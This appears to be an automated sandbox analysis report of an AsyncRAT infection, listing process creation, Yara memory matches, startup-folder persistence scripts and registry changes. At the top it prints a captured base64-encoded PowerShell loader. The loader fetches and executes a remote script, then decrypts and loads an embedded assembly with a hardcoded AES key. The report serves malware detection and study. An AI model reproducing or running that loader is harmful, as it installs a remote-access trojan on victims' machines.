JywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9B8B4B22 push eax; iretd	5_2_00007FFD9B8B4BB1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9B8A792B push ebx; retf	5_2_00007FFD9B8A796A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9B976B43 push edi; iretd	5_2_00007FFD9B976DC6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9B9771C9 push ecx; retf	5_2_00007FFD9B9771CC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9B9755E5 push edi; retf	5_2_00007FFD9B9755E6

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: 5.2.powershell.exe.1d3133b65d0.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa26a4b0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc0714a0b0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccdde538.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601de4450.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008ed970.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccde7168.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc07141480.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa248728.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc07127e40.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008f65a0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601dfa830.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601dfa830.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2d5060.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccde7168.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601de4450.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2d5060.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7e4bb0000.16.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2eb440.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa261880.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008f65a0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccdde538.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008ed970.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa248728.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133ad9a0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2eb440.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7e4bb0000.16.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133975c0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc07127e40.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2074612069.000001E1AA212000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.00000206008C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.0000020601DF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.0000020601DC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2325412269.000001D313377000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1945403188.000001D7CE2B5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1945403188.000001D7CE2E9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1969459274.000001D7E4BB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2248750195.000002CC070F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1945403188.000001D7CCDB3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.0000020601DE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2720, type: MEMORYSTR

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_6dd171fd.cmd

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_6dd171fd.cmd	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_0c891e71.cmd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_a276d6c0.cmd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_79ced6d4.cmd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_c64e66cc.cmd

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\F5A6144F270696C79418 CC52384910CEE944DDBCC575A8E0177BFA6B16E3032438B207797164D5C94B34

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
